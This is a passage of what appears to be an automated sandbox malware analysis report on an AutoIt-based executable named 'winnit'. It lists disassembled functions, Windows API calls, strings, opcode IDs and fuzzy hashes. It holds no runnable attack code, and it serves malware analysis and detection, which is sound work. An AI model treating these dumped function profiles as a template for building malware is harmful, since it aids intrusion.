                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                          • Instruction ID: 20cfcd55af79a648064543e056b846b6e96415994e6cafdce3d47fda6f41d1a2
                                          • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                          • Instruction Fuzzy Hash: 4BC1713230919319DF2D473A847417EBAA29EA27B131A076FD4F3CB2D5EF20C965D620
                                          Function 00F72F38 Relevance: .1, Instructions: 92COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                          • Instruction ID: 124f6e0382df78cc0f7efce576a1fcf4c09ad4e6fe521ab88791a62760f443d2
                                          • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                          • Instruction Fuzzy Hash: 2441D371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB80
                                          Function 00F72DC8 Relevance: .0, Instructions: 35COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                          • Instruction ID: 2fe850ad4119788521c9871bd3e6f3c98b1e74daf6b2e4c37bb38427b9356d9d
                                          • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                          • Instruction Fuzzy Hash: FB019278E00109EFCB94DF98C5909AEF7F5FB58310F20859AE819A7341D730AE41EB81
                                          Function 00F72E28 Relevance: .0, Instructions: 35COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                          • Instruction ID: 35b8a3750fefe9538de7a3e826ce33d37d42ccd9c3160d94bf45881c23985153
                                          • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                          • Instruction Fuzzy Hash: 21019278E01109EFCB84DF98C5909AEF7F6FB48310F20869AE809A7341D730AE51DB81
                                          Function 00F71798 Relevance: .0, Instructions: 6COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                          • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                          • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                          • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                          Function 00B27806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • DeleteObject.GDI32(00000000), ref: 00B2785B
                                          • DeleteObject.GDI32(00000000), ref: 00B2786D
                                          • DestroyWindow.USER32 ref: 00B2787B
                                          • GetDesktopWindow.USER32 ref: 00B27895
                                          • GetWindowRect.USER32(00000000), ref: 00B2789C
                                          • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00B279DD
                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00B279ED
                                          • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27A35
                                          • GetClientRect.USER32(00000000,?), ref: 00B27A41
                                          • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00B27A7B
                                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27A9D
                                          • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27AB0
                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27ABB
                                          • GlobalLock.KERNEL32(00000000), ref: 00B27AC4
                                          • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27AD3
                                          • GlobalUnlock.KERNEL32(00000000), ref: 00B27ADC
                                          • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27AE3
                                          • GlobalFree.KERNEL32(00000000), ref: 00B27AEE
                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27B00
                                          • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00B42CAC,00000000), ref: 00B27B16
                                          • GlobalFree.KERNEL32(00000000), ref: 00B27B26
                                          • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00B27B4C
                                          • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00B27B6B
                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27B8D
                                          • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B27D7A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                          • String ID: $AutoIt v3$DISPLAY$static
                                          • API String ID: 2211948467-2373415609
                                          • Opcode ID: 976ef37a51c29fc6a31edd9e4bb5e194a83f18d81693c08376e0d7d2e0709bdf
                                          • Instruction ID: 82374f481e6f15923ad3494f9dcd2f70b384628f774eb965756a5f7ce12731fc
                                          • Opcode Fuzzy Hash: 976ef37a51c29fc6a31edd9e4bb5e194a83f18d81693c08376e0d7d2e0709bdf
                                          • Instruction Fuzzy Hash: D2027F71900215EFDB14DFA8DD89EAE7BB9FF48310F108158F919AB2A1CB70AD41CB60
                                          Function 00B3356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CharUpperBuffW.USER32(?,?,00B3F910), ref: 00B33627
                                          • IsWindowVisible.USER32(?), ref: 00B3364B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BuffCharUpperVisibleWindow
                                          • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                          • API String ID: 4105515805-45149045
                                          • Opcode ID: 7bd0643fd100681c0af4ff1ffde68ddbdeab9cee1d6b7ab2921b50dcb4211c71
                                          • Instruction ID: e75c94acdaebff124940fa5dbc4dc6aad541ce9dbde9bf02d85282ca82df4b49
                                          • Opcode Fuzzy Hash: 7bd0643fd100681c0af4ff1ffde68ddbdeab9cee1d6b7ab2921b50dcb4211c71
                                          • Instruction Fuzzy Hash: 72D14D352083019BCB04EF10C556A6F7BE9EF95794F244499F8865B3A2DB31EE4ACB41
                                          Function 00B3A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetTextColor.GDI32(?,00000000), ref: 00B3A630
                                          • GetSysColorBrush.USER32(0000000F), ref: 00B3A661
                                          • GetSysColor.USER32(0000000F), ref: 00B3A66D
                                          • SetBkColor.GDI32(?,000000FF), ref: 00B3A687
                                          • SelectObject.GDI32(?,00000000), ref: 00B3A696
                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 00B3A6C1
                                          • GetSysColor.USER32(00000010), ref: 00B3A6C9
                                          • CreateSolidBrush.GDI32(00000000), ref: 00B3A6D0
                                          • FrameRect.USER32(?,?,00000000), ref: 00B3A6DF
                                          • DeleteObject.GDI32(00000000), ref: 00B3A6E6
                                          • InflateRect.USER32(?,000000FE,000000FE), ref: 00B3A731
                                          • FillRect.USER32(?,?,00000000), ref: 00B3A763
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00B3A78E
                                            • Part of subcall function 00B3A8CA: GetSysColor.USER32(00000012), ref: 00B3A903
                                            • Part of subcall function 00B3A8CA: SetTextColor.GDI32(?,?), ref: 00B3A907
                                            • Part of subcall function 00B3A8CA: GetSysColorBrush.USER32(0000000F), ref: 00B3A91D
                                            • Part of subcall function 00B3A8CA: GetSysColor.USER32(0000000F), ref: 00B3A928
                                            • Part of subcall function 00B3A8CA: GetSysColor.USER32(00000011), ref: 00B3A945
                                            • Part of subcall function 00B3A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B3A953
                                            • Part of subcall function 00B3A8CA: SelectObject.GDI32(?,00000000), ref: 00B3A964
                                            • Part of subcall function 00B3A8CA: SetBkColor.GDI32(?,00000000), ref: 00B3A96D
                                            • Part of subcall function 00B3A8CA: SelectObject.GDI32(?,?), ref: 00B3A97A
                                            • Part of subcall function 00B3A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 00B3A999
                                            • Part of subcall function 00B3A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B3A9B0
                                            • Part of subcall function 00B3A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 00B3A9C5
                                            • Part of subcall function 00B3A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00B3A9ED
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                          • String ID:
                                          • API String ID: 3521893082-0
                                          • Opcode ID: 4c4d4816a210b218ad30479a9c109931ab4b63a78c5f944afef86ec8503f58e2
                                          • Instruction ID: e298cefffda94bc61b5861c07bc5e00778c0aeeb96bbedc47fc1b9f6987bb90c
                                          • Opcode Fuzzy Hash: 4c4d4816a210b218ad30479a9c109931ab4b63a78c5f944afef86ec8503f58e2
                                          • Instruction Fuzzy Hash: 56915E72808302FFD7109F64DD48A6F7BE9FB48321F204A29F5A2971A1DB71D944CB52
                                          Function 00AB2C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • DestroyWindow.USER32(?,?,?), ref: 00AB2CA2
                                          • DeleteObject.GDI32(00000000), ref: 00AB2CE8
                                          • DeleteObject.GDI32(00000000), ref: 00AB2CF3
                                          • DestroyIcon.USER32(00000000,?,?,?), ref: 00AB2CFE
                                          • DestroyWindow.USER32(00000000,?,?,?), ref: 00AB2D09
                                          • SendMessageW.USER32(?,00001308,?,00000000), ref: 00AEC43B
                                          • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00AEC474
                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00AEC89D
                                            • Part of subcall function 00AB1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00AB2036,?,00000000,?,?,?,?,00AB16CB,00000000,?), ref: 00AB1B9A
                                          • SendMessageW.USER32(?,00001053), ref: 00AEC8DA
                                          • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00AEC8F1
                                          • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00AEC907
                                          • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00AEC912
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                          • String ID: 0
                                          • API String ID: 464785882-4108050209
                                          • Opcode ID: addcfeb65ad5706100686ecccb512a4783201db2994de4cf1cb5047153b7b6cf
                                          • Instruction ID: 7e2c35e6438031671d8aa1dda621e2bbcfb296714eea45fd66f4d1085d9dda6c
                                          • Opcode Fuzzy Hash: addcfeb65ad5706100686ecccb512a4783201db2994de4cf1cb5047153b7b6cf
                                          • Instruction Fuzzy Hash: EE129E30600281EFDB15CF25C988BA9BBE5FF46320F54456AF895CB262CB31EC52CB91
                                          Function 00B274AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • DestroyWindow.USER32(00000000), ref: 00B274DE
                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00B2759D
                                          • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00B275DB
                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00B275ED
                                          • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00B27633
                                          • GetClientRect.USER32(00000000,?), ref: 00B2763F
                                          • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00B27683
                                          • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00B27692
                                          • GetStockObject.GDI32(00000011), ref: 00B276A2
                                          • SelectObject.GDI32(00000000,00000000), ref: 00B276A6
                                          • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00B276B6
                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B276BF
                                          • DeleteDC.GDI32(00000000), ref: 00B276C8
                                          • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00B276F4
                                          • SendMessageW.USER32(00000030,00000000,00000001), ref: 00B2770B
                                          • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00B27746
                                          • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00B2775A
                                          • SendMessageW.USER32(00000404,00000001,00000000), ref: 00B2776B
                                          • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00B2779B
                                          • GetStockObject.GDI32(00000011), ref: 00B277A6
                                          • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00B277B1
                                          • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00B277BB
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                          • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                          • API String ID: 2910397461-517079104
                                          • Opcode ID: 75dcc877351ef35f02d533e65f7b24dc1c4620f44ea30674e81674f6f89fe7e9
                                          • Instruction ID: 57bff73997286e5fe5c1b2ca1fd778570537e08a2a939d6103388174d07a39a9
                                          • Opcode Fuzzy Hash: 75dcc877351ef35f02d533e65f7b24dc1c4620f44ea30674e81674f6f89fe7e9
                                          • Instruction Fuzzy Hash: 5CA140B1A40619BFEB14DBA4DD4AFAE7BB9EB04710F104154FA15A72E1CBB0AD40CB64
                                          Function 00B1AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 00B1AD1E
                                          • GetDriveTypeW.KERNEL32(?,00B3FAC0,?,\\.\,00B3F910), ref: 00B1ADFB
                                          • SetErrorMode.KERNEL32(00000000,00B3FAC0,?,\\.\,00B3F910), ref: 00B1AF59
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorMode$DriveType
                                          • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                          • API String ID: 2907320926-4222207086
                                          • Opcode ID: 63cce170b51522c794ef10cb13608fd3164b32c4698c3cc3a29fc20c54d13bfc
                                          • Instruction ID: 701bbcf80a6a65f2d8cd754e8e342df1b4f8309288ba152658ec9873f2807c7a
                                          • Opcode Fuzzy Hash: 63cce170b51522c794ef10cb13608fd3164b32c4698c3cc3a29fc20c54d13bfc
                                          • Instruction Fuzzy Hash: AB5194B06452059B8B10EB50C9E2CFD73E5EB48700BA441E7E807E72E1DA75FD86DB42
                                          Function 00AB68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __wcsnicmp
                                          • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                          • API String ID: 1038674560-86951937
                                          • Opcode ID: 2c671f6d7aca3a1836fdb44ea1734cab08bb0b0ea4635ba1cbce18f400cd9af3
                                          • Instruction ID: 38a52790b2bc11dbab23a05c65aefc1b3f6cccade684e644f3757192ba7229b4
                                          • Opcode Fuzzy Hash: 2c671f6d7aca3a1836fdb44ea1734cab08bb0b0ea4635ba1cbce18f400cd9af3
                                          • Instruction Fuzzy Hash: A48114B1640206AACF20EB71DD42FFE77BCAF05740F040025F906AA293EBB5DE55D6A1
                                          Function 00B39A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00B39AD2
                                          • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00B39B8B
                                          • SendMessageW.USER32(?,00001102,00000002,?), ref: 00B39BA7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$Window
                                          • String ID: 0
                                          • API String ID: 2326795674-4108050209
                                          • Opcode ID: caf0828b2443c8d279265db50c3feddda462bd8fc8e2d27e1206b5e7d71c9d7c
                                          • Instruction ID: 2609f81aa38274e358b25193ab90a5364a04dfd86b5c11b66c995fbaf6d37d48
                                          • Opcode Fuzzy Hash: caf0828b2443c8d279265db50c3feddda462bd8fc8e2d27e1206b5e7d71c9d7c
                                          • Instruction Fuzzy Hash: 3E02D030508301AFD725CF24C889BAABBE5FF49314F2485ADF999D72A1CBB4D944CB52
                                          Function 00B3A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetSysColor.USER32(00000012), ref: 00B3A903
                                          • SetTextColor.GDI32(?,?), ref: 00B3A907
                                          • GetSysColorBrush.USER32(0000000F), ref: 00B3A91D
                                          • GetSysColor.USER32(0000000F), ref: 00B3A928
                                          • CreateSolidBrush.GDI32(?), ref: 00B3A92D
                                          • GetSysColor.USER32(00000011), ref: 00B3A945
                                          • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B3A953
                                          • SelectObject.GDI32(?,00000000), ref: 00B3A964
                                          • SetBkColor.GDI32(?,00000000), ref: 00B3A96D
                                          • SelectObject.GDI32(?,?), ref: 00B3A97A
                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 00B3A999
                                          • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B3A9B0
                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 00B3A9C5
                                          • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00B3A9ED
                                          • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00B3AA14
                                          • InflateRect.USER32(?,000000FD,000000FD), ref: 00B3AA32
                                          • DrawFocusRect.USER32(?,?), ref: 00B3AA3D
                                          • GetSysColor.USER32(00000011), ref: 00B3AA4B
                                          • SetTextColor.GDI32(?,00000000), ref: 00B3AA53
                                          • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00B3AA67
                                          • SelectObject.GDI32(?,00B3A5FA), ref: 00B3AA7E
                                          • DeleteObject.GDI32(?), ref: 00B3AA89
                                          • SelectObject.GDI32(?,?), ref: 00B3AA8F
                                          • DeleteObject.GDI32(?), ref: 00B3AA94
                                          • SetTextColor.GDI32(?,?), ref: 00B3AA9A
                                          • SetBkColor.GDI32(?,?), ref: 00B3AAA4
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
